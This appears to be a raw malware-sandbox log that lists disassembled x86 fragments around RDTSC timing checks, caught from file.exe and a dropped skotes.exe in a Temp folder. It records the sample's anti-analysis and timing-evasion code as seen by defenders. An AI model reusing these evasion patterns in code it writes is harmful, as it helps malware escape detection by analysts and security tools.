Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F007D second address: 54F00FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007FD7251DA7DAh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov al, bh 0x00000014 pushfd 0x00000015 jmp 00007FD7251DA7E8h 0x0000001a jmp 00007FD7251DA7E5h 0x0000001f popfd 0x00000020 popad 0x00000021 and esp, FFFFFFF8h 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FD7251DA7DCh 0x0000002b sbb cx, 2B68h 0x00000030 jmp 00007FD7251DA7DBh 0x00000035 popfd 0x00000036 push eax 0x00000037 pushad 0x00000038 popad 0x00000039 pop ebx 0x0000003a popad 0x0000003b xchg eax, ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FD7251DA7DAh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F00FC second address: 54F010B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F010B second address: 54F012A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7251DA7E3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F012A second address: 54F01E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FD724C6C5DEh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov eax, 4816DBCDh 0x00000016 jmp 00007FD724C6C5DAh 0x0000001b popad 0x0000001c push eax 0x0000001d pushad 0x0000001e mov edi, 163A1794h 0x00000023 call 00007FD724C6C5DDh 0x00000028 jmp 00007FD724C6C5E0h 0x0000002d pop eax 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FD724C6C5E7h 0x00000037 or al, FFFFFF8Eh 0x0000003a jmp 00007FD724C6C5E9h 0x0000003f popfd 0x00000040 push eax 0x00000041 push edx 0x00000042 pushfd 0x00000043 jmp 00007FD724C6C5DEh 0x00000048 adc eax, 6256DC08h 0x0000004e jmp 00007FD724C6C5DBh 0x00000053 popfd 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0315 second address: 54F033E instructions: 0x00000000 rdtsc 0x00000002 call 00007FD7251DA7DCh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b je 00007FD797178ADAh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FD7251DA7DAh 0x00000019 movzx eax, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E081B second address: 54E0833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD724C6C5E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0998 second address: 54E099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E099C second address: 54E09AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, ax 0x00000009 popad 0x0000000a test esi, esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09AD second address: 54E09B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09B1 second address: 54E09C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, bx 0x00000009 popad 0x0000000a je 00007FD796C11FA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09C7 second address: 54E09CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09CD second address: 54E0A53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007FD724C6C5DEh 0x00000015 mov ecx, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD724C6C5DEh 0x0000001e xor ecx, 5FC21DA8h 0x00000024 jmp 00007FD724C6C5DBh 0x00000029 popfd 0x0000002a pushad 0x0000002b call 00007FD724C6C5E6h 0x00000030 pop esi 0x00000031 popad 0x00000032 popad 0x00000033 je 00007FD796C11F44h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c push ecx 0x0000003d pop ebx 0x0000003e jmp 00007FD724C6C5E2h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A53 second address: 54E0AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 jmp 00007FD7251DA7DDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test byte ptr [77516968h], 00000002h 0x00000014 jmp 00007FD7251DA7DEh 0x00000019 jne 00007FD79718010Fh 0x0000001f jmp 00007FD7251DA7E0h 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FD7251DA7DEh 0x0000002e sub ch, 00000028h 0x00000031 jmp 00007FD7251DA7DBh 0x00000036 popfd 0x00000037 push eax 0x00000038 push edx 0x00000039 pushfd 0x0000003a jmp 00007FD7251DA7E6h 0x0000003f add ecx, 5A723988h 0x00000045 jmp 00007FD7251DA7DBh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0AE0 second address: 54E0B19 instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 mov ch, EDh 0x0000000b pushfd 0x0000000c jmp 00007FD724C6C5DDh 0x00000011 and ecx, 2ED218A6h 0x00000017 jmp 00007FD724C6C5E1h 0x0000001c popfd 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B19 second address: 54E0B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B1D second address: 54E0B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B21 second address: 54E0B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B27 second address: 54E0B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B2D second address: 54E0B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B31 second address: 54E0B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FD724C6C5DEh 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0B62 second address: 54E0BF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD7251DA7DCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f jmp 00007FD7251DA7DEh 0x00000014 pushfd 0x00000015 jmp 00007FD7251DA7E2h 0x0000001a sbb ch, 00000068h 0x0000001d jmp 00007FD7251DA7DBh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 pushad 0x00000026 mov si, bx 0x00000029 jmp 00007FD7251DA7DBh 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov esi, ebx 0x00000035 pushfd 0x00000036 jmp 00007FD7251DA7E7h 0x0000003b xor ax, DE0Eh 0x00000040 jmp 00007FD7251DA7E9h 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0BF8 second address: 54E0C0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 8F22h 0x00000007 mov esi, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push dword ptr [ebp+14h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov cl, dl 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C0C second address: 54E0C5D instructions: 0x00000000 rdtsc 0x00000002 mov si, C859h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FD7251DA7E6h 0x0000000d pop edi 0x0000000e popad 0x0000000f push dword ptr [ebp+10h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FD7251DA7E8h 0x0000001b or esi, 1AD60148h 0x00000021 jmp 00007FD7251DA7DBh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0CBF second address: 54E0CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CCB second address: 54F0CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CCF second address: 54F0CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CD3 second address: 54F0CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CD9 second address: 54F0CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CEE second address: 54F0CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0CF2 second address: 54F0D0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09E3 second address: 54F09E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09E7 second address: 54F09FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F09FA second address: 54F0A12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0A12 second address: 54F0A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570943 second address: 557094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557094A second address: 5570950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570950 second address: 5570954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560E48 second address: 5560E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD724C6C5DAh 0x00000008 call 00007FD724C6C5E2h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560E72 second address: 5560E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560E76 second address: 5560E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560E7C second address: 5560EBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 mov esi, 37EE0E4Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FD7251DA7E8h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD7251DA7E7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560EBD second address: 5560EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CA6 second address: 5560CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CAA second address: 5560CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CAE second address: 5560CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CB4 second address: 5560CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CD1 second address: 5560CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CD5 second address: 5560CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560CD9 second address: 5560CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500086 second address: 550008C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550008C second address: 5500090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700B7 second address: 55700C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700C6 second address: 55700DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, C9h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, 6B2BCD4Ah 0x00000011 push edx 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700DA second address: 55700E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700E0 second address: 55700F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700F1 second address: 55700F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700F5 second address: 55700FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55700FB second address: 557011A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD724C6C5E3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557011A second address: 5570120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570120 second address: 557014B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD724C6C5E5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557014B second address: 5570151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570151 second address: 5570173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 movsx edx, si 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55701CA second address: 55701D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55701D0 second address: 5570204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD724C6C5E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD724C6C5E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5570204 second address: 557021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7251DA7E4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: F2EE14 second address: F2EE34 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD724C6C5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD724C6C5E2h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10A7DC3 second address: 10A7DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10A7DCF second address: 10A7DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10AEA7C second address: 10AEA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10AEA82 second address: 10AEA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10AEA8B second address: 10AEA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10AEA91 second address: 10AEA95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10AEBF0 second address: 10AEBFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jno 00007FD7251DA7D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B09E9 second address: 10B09ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0D55 second address: 10B0DB8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD7251DA7D8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D3529h], eax 0x00000015 push 00000000h 0x00000017 jmp 00007FD7251DA7DAh 0x0000001c push FC07A49Ah 0x00000021 push eax 0x00000022 push esi 0x00000023 jmp 00007FD7251DA7E2h 0x00000028 pop esi 0x00000029 pop eax 0x0000002a add dword ptr [esp], 03F85BE6h 0x00000031 mov dx, cx 0x00000034 push 00000003h 0x00000036 sbb dh, 00000000h 0x00000039 push 00000000h 0x0000003b mov edx, eax 0x0000003d push 00000003h 0x0000003f push ebx 0x00000040 mov dword ptr [ebp+122D3608h], edx 0x00000046 pop edi 0x00000047 push A9B27319h 0x0000004c push eax 0x0000004d push edx 0x0000004e push ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DB8 second address: 10B0DBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DBD second address: 10B0DC2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DC2 second address: 10B0DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 164D8CE7h 0x0000000e mov cx, EBEBh 0x00000012 lea ebx, dword ptr [ebp+1245588Fh] 0x00000018 clc 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD724C6C5DCh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DEC second address: 10B0DF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DF2 second address: 10B0DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DF8 second address: 10B0DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10B0DFC second address: 10B0E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10C3D32 second address: 10C3D38 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 10D25AA second address: 10D25B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jnc 00007FD724C6C5D6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f rdtsc
